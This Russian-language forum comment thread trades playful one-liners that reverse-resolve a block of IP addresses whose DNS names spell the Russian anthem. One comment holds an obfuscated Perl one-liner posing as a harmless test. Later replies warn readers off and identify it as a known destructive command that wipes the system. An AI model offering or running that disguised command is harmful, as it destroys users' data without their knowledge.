Комментарии 84
В дебиане не отработало, греп выругался на -P. Так что вариант попроще:
for i in {200..225}; do nslookup 62.76.96.$i | grep name | awk '{print $4}'; done
+2
А что за Sirius-Project?
+2
ребята, отнеситесь с пониманием, не минусуйте — дайте человеку возможность перенести пост в хабраюмор :)
+5
MacOS отработало на 5 :)
+6
Если кто-то из закоренелых виндузятников, таких как я, не врубился в прикол, то вот вариант для PowerShell
for ($i=200; $i -le 225; $i++){nslookup 62.76.96.$i}
for ($i=200; $i -le 225; $i++){nslookup 62.76.96.$i}
+9
А если уже быть совсем задротомэстетом, то я написал вот такой вариант.
Правда, в нём не очень ясно, откуда прикол, зато выглядит красивее.
for ($i=200; $i -le 223; $i++){(nslookup 62.76.96.$i)[3].ToString().Replace('.', ' ').Substring(9)}
Ещё раз, это — для PowerShell в Windows
Правда, в нём не очень ясно, откуда прикол, зато выглядит красивее.
for ($i=200; $i -le 223; $i++){(nslookup 62.76.96.$i)[3].ToString().Replace('.', ' ').Substring(9)}
Ещё раз, это — для PowerShell в Windows
+2
Для виндузятников, у которых нет PowerShell'a можно сделать так
for /l %i in (200,1,255) do nslookup 62.76.96.%i
for /l %i in (200,1,255) do nslookup 62.76.96.%i
+12
223
+3
Ящитаю надо так:
@cls & @for /l %i in (200,1,223) do @(nslookup 62.76.96.%i & ping -n 4 127.0.0.1>nul & cls)
Если это в батник записать, то %i надо заменить на %%i.
@cls & @for /l %i in (200,1,223) do @(nslookup 62.76.96.%i & ping -n 4 127.0.0.1>nul & cls)
Если это в батник записать, то %i надо заменить на %%i.
+2
for /L %i in (200, 1, 223) do @for /F «tokens=1* delims= » %A in ('nslookup 62.76.96.%i ^| find «Name:»') do @echo %B
0
Можно сократить до
200..225|% {nslookup 62.76.96.$_}
Но для повышения читаемости лучше сделать хотя бы
200..225|% {nslookup 62.76.96.$_}|select-string "^Name:"
Или вообще так:
200..225 |% {[net.dns]::GetHostByAddress(«62.76.96.$_»).hostname}
200..225|% {nslookup 62.76.96.$_}
Но для повышения читаемости лучше сделать хотя бы
200..225|% {nslookup 62.76.96.$_}|select-string "^Name:"
Или вообще так:
200..225 |% {[net.dns]::GetHostByAddress(«62.76.96.$_»).hostname}
+3
Жесть =)
+2
А это как так? А? =)
+3
Бывают в мире джипы с наклейками: «Срал я на экономию топлива».
А тут у чувака на DNS наклейка: «Срал я на то, что у всего мира закончились Ipv4 адреса»
А тут у чувака на DNS наклейка: «Срал я на то, что у всего мира закончились Ipv4 адреса»
+57
всего лишь 25 адресов потрачено,
и то, в Интернет они не анонсируются
а в то же время, московские домосети получают свой уже не первый /19, а чуть менее, чем все, являются lir :)
и после этого вы говорите о растрате ipv4?
и то, в Интернет они не анонсируются
а в то же время, московские домосети получают свой уже не первый /19, а чуть менее, чем все, являются lir :)
и после этого вы говорите о растрате ipv4?
+1
Круто.
+1
Только один куплет должно выдать? :)
+3
Для тех у кого стоит BolgenOS с предустановленным Питоном Попова увидеть прикол можно так: pastie.org/1002152 xD
-18
Для тех, кто не понял… =)
io ~ # for i in {200..225}; do nslookup 62.76.96.$i | grep name | awk '{print $4}'; done Rossija.svjashhennaja.nasha.derzhava. ns.sirius-p.ru. ns.sirip.net. Rossija.ljubimaja.nasha.strana. ns.sirip.net. ns.sirius-p.ru. Moguchaja.volja.velikaja.slava. ns.sirius-p.ru. ns.sirip.net. Tvojo.dostojanie.na.vse.vremena. ns.sirip.net. ns.sirius-p.ru. Slavsja.Otechestvo.nashe.svobodnoe. ns.sirius-p.ru. ns.sirip.net. Bratskikh.narodov.sojuz.vekovojj. ns.sirius-p.ru. ns.sirip.net. Predkami.dannaja.mudrost.narodnaja. ns.sirip.net. ns.sirius-p.ru. Slavsja.strana.My.gordimsja.tobojj. ns.sirip.net. ns.sirius-p.ru. Ot.juzhnykh.morejj.do.poljarnogo.kraja. ns.sirius-p.ru. ns.sirip.net. Raskinulis.nashi.lesa.i.polja. ns.sirius-p.ru. ns.sirip.net. Odna.ty.na.svete.Odna.ty.takaja. ns.sirip.net. ns.sirius-p.ru. Khranimaja.Bogom.rodnaja.zemlja. ns.sirius-p.ru. ns.sirip.net. Slavsja.Otechestvo.nashe.svobodnoe. ns.sirip.net. ns.sirius-p.ru. Bratskikh.narodov.sojuz.vekovojj. ns.sirip.net. ns.sirius-p.ru. Predkami.dannaja.mudrost.narodnaja. ns.sirip.net. ns.sirius-p.ru. Slavsja.strana.My.gordimsja.tobojj. ns.sirip.net. ns.sirius-p.ru. Shirokijj.prostor.dlja.mechty.i.dlja.zhizni. ns.sirius-p.ru. ns.sirip.net. Grjadushhie.nam.otkryvajut.goda. ns.sirius-p.ru. ns.sirip.net. Nam.silu.dajot.nasha.vernost.Otchizne. ns.sirip.net. ns.sirius-p.ru. Tak.bylo.tak.est.i.tak.budet.vsegda. ns.sirius-p.ru. ns.sirip.net. Slavsja.Otechestvo.nashe.svobodnoe. ns.sirip.net. ns.sirius-p.ru. Bratskikh.narodov.sojuz.vekovojj. ns.sirip.net. ns.sirius-p.ru. Predkami.dannaja.mudrost.narodnaja. ns.sirius-p.ru. ns.sirip.net. Slavsja.strana.My.gordimsja.tobojj. ns.sirius-p.ru. ns.sirip.net. io ~ #
+25
Я вот вообще не понял ничего :)
+1
А можно как-то спикером прожужжать мелодию?
+3
Можно festival'ем это все прочитать
+3
Могу только вот это предложить (for Linux)
beep -l 350 -f 392 -D 100 --new -l 350 -f 392 -D 100 --new -l 350 -f 392 -D 100 --new -l 250 -f 311.1 -D 100 --new -l 25 -f 466.2 -D 100 --new -l 350 -f 392 -D 100 --new -l 250 -f 311.1 -D 100 --new -l 25 -f 466.2 -D 100 --new -l 700 -f 392 -D 100 --new -l 350 -f 587.32 -D 100 --new -l 350 -f 587.32 -D 100 --new -l 350 -f 587.32 -D 100 --new -l 250 -f 622.26 -D 100 --new -l 25 -f 466.2 -D 100 --new -l 350 -f 369.99 -D 100 --new -l 250 -f 311.1 -D 100 --new -l 25 -f 466.2 -D 100 --new -l 700 -f 392 -D 100 --new -l 350 -f 784 -D 100 --new -l 250 -f 392 -D 100 --new -l 25 -f 392 -D 100 --new -l 350 -f 784 -D 100 --new -l 250 -f 739.98 -D 100 --new -l 25 -f 698.46 -D 100 --new -l 25 -f 659.26 -D 100 --new -l 25 -f 622.26 -D 100 --new -l 50 -f 659.26 -D 400 --new -l 25 -f 415.3 -D 200 --new -l 350 -f 554.36 -D 100 --new -l 250 -f 523.25 -D 100 --new -l 25 -f 493.88 -D 100 --new -l 25 -f 466.16 -D 100 --new -l 25 -f 440 -D 100 --new -l 50 -f 466.16 -D 400 --new -l 25 -f 311.13 -D 200 --new -l 350 -f 369.99 -D 100 --new -l 250 -f 311.13 -D 100 --new -l 25 -f 392 -D 100 --new -l 350 -f 466.16 -D 100 --new -l 250 -f 392 -D 100 --new -l 25 -f 466.16 -D 100 --new -l 700 -f 587.32 -D 100 --new -l 350 -f 784 -D 100 --new -l 250 -f 392 -D 100 --new -l 25 -f 392 -D 100 --new -l 350 -f 784 -D 100 --new -l 250 -f 739.98 -D 100 --new -l 25 -f 698.46 -D 100 --new -l 25 -f 659.26 -D 100 --new -l 25 -f 622.26 -D 100 --new -l 50 -f 659.26 -D 400 --new -l 25 -f 415.3 -D 200 --new -l 350 -f 554.36 -D 100 --new -l 250 -f 523.25 -D 100 --new -l 25 -f 493.88 -D 100 --new -l 25 -f 466.16 -D 100 --new -l 25 -f 440 -D 100 --new -l 50 -f 466.16 -D 400 --new -l 25 -f 311.13 -D 200 --new -l 350 -f 392 -D 100 --new -l 250 -f 311.13 -D 100 --new -l 25 -f 466.16 -D 100 --new -l 300 -f 392.00 -D 150 --new -l 250 -f 311.13 -D 100 --new -l 25 -f 466.16 -D 100 --new -l 700 -f 392
+19
Неннееее, неее, я на повершелл переводить это не буду! Даже не уговаривайте! Но! Всё же это отличный вызов! Я реализовал его так:
Гимн Российской Федерации!
Исполняет: Windows Media Player 12
Оркестр: PowerShell ISE, Windows 7 Ultimate
Ноты:
Set-Location $HOME
$client = New-Object System.Net.WebClient
$client.DownloadFile(«gimnrf.narod.ru/russian_hymn.mp3», «hymh.mp3»)
.\hymh.mp3
Гимн Российской Федерации!
Исполняет: Windows Media Player 12
Оркестр: PowerShell ISE, Windows 7 Ultimate
Ноты:
Set-Location $HOME
$client = New-Object System.Net.WebClient
$client.DownloadFile(«gimnrf.narod.ru/russian_hymn.mp3», «hymh.mp3»)
.\hymh.mp3
+7
А чё оно пропищало то? А то сервер в стойке стоит в датацентре :)
+67
а у меня пищалки нет.)))
+5
Больше похоже на тему звездных войн, а не гимна РФ
0
психи, ёмоё!!!
+1
Почитал. Какой-то он странный. Меня в школе учили совсем другому тексту: Союз нерушимый республик свободных сплотила на веки великая Русь…
Откуда эта самодеятельность?
Откуда эта самодеятельность?
-11
Вас учили гимну СССР, сейчас несколько другая страна и другой гимн. Как вы это пропустили? ;)
+27
Там эти гимны менялись как перчатки.
-10
Этому варианту уже 10 лет. Пруф: история гимна России.
+6
Каждые десять лет меняют? Скоро следующая замена планируется, или как?
-14
Не ко мне вопрос. Но за 10 можно было бы узнать какой у нас в стране гимн.
+10
Ну узнаю. И? Потом опять поменяют. Снова учить?
-7
Вы просите вам посоветовать? Решите сами, учить вам его или нет. Раз в 10 лет можно и поучить.
Я бы посоветовал вам участвовать в жизни страны хотя бы на том уровне, чтобы актуальная символика не казалась вам незнакомой.
Я бы посоветовал вам участвовать в жизни страны хотя бы на том уровне, чтобы актуальная символика не казалась вам незнакомой.
+7
Что поменяется в стране о того, что я буду знать «актуальную в настоящий момент символику» (что там Пелевин про… м… представителей сексуальных меньшинств писал? Насчёт «актуальных»).
Я предпочитаю не зубрить очередную ахинею, а заниматься своим делом. И по мере возможности не давать взятки и откаты, не ездить на красный свет… Или актуальная символика важнее?
Я предпочитаю не зубрить очередную ахинею, а заниматься своим делом. И по мере возможности не давать взятки и откаты, не ездить на красный свет… Или актуальная символика важнее?
-7
Если уж писать на Windows CMD, то вот:
@echo off & for /l %i in (200,1,223) do for /f «usebackq skip=3 tokens=2-10 delims=:.» %a in (`nslookup 62.76.96.%i`) do echo %a %b %c %d %e | findstr /RV "[0-9]"
@echo off & for /l %i in (200,1,223) do for /f «usebackq skip=3 tokens=2-10 delims=:.» %a in (`nslookup 62.76.96.%i`) do echo %a %b %c %d %e | findstr /RV "[0-9]"
0
Ага, там, оказывается, может быть больше слов в строке. Тогда вот вариант:
@echo off & for /l %z in (200,1,223) do for /f «usebackq skip=3 tokens=2-10 delims=:.» %a in (`nslookup 62.76.96.%z`) do echo %a %b %c %d %e %f %g %h %i | findstr /RV "[0-9]"
@echo off & for /l %z in (200,1,223) do for /f «usebackq skip=3 tokens=2-10 delims=:.» %a in (`nslookup 62.76.96.%z`) do echo %a %b %c %d %e %f %g %h %i | findstr /RV "[0-9]"
0
переведите лучше пищалку мелодии, что выше выложили для винды :)
0
Вот кому-то делать нечего!
+1
НЛО прилетело и опубликовало эту надпись здесь
Пропевать не успевал, пришлось паузу добавить
for /l %i in (200,1,223) do nslookup 62.76.96.%i & pause
for /l %i in (200,1,223) do nslookup 62.76.96.%i & pause
+1
чьи это айпишники? кого это я нечаянно заддосил?
-6
Ну, тут уж сам бог велел:
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
-39
не печатает =(
-2
Люди, кто далёк. Просто не вводите ни куда.
+5
Я догадываюсь что оно делает что-то плохое, но вот что не знаю. Подскажете?
0
А, всё, отставить. Нашел, довольно жестоко.
0
Я знал, что кто-то выложит патч Бармина…
+2
foreach(range(200, 223) as $i){$h = gethostbyaddr("62.76.96.$i");echo $h.'<br>';}
+1
Теперь Python:
from socket import gethostbyaddr
for i in range(200, 223):
print gethostbyaddr('62.76.96.'+str(i))[0]
+1
Выложите однострочник на перле ;)
-4
Изнасилование IPv4 адресов с российским размахом
0
Зарегистрируйтесь на Хабре, чтобы оставить комментарий
Использование IPv4 адресов с российским размахом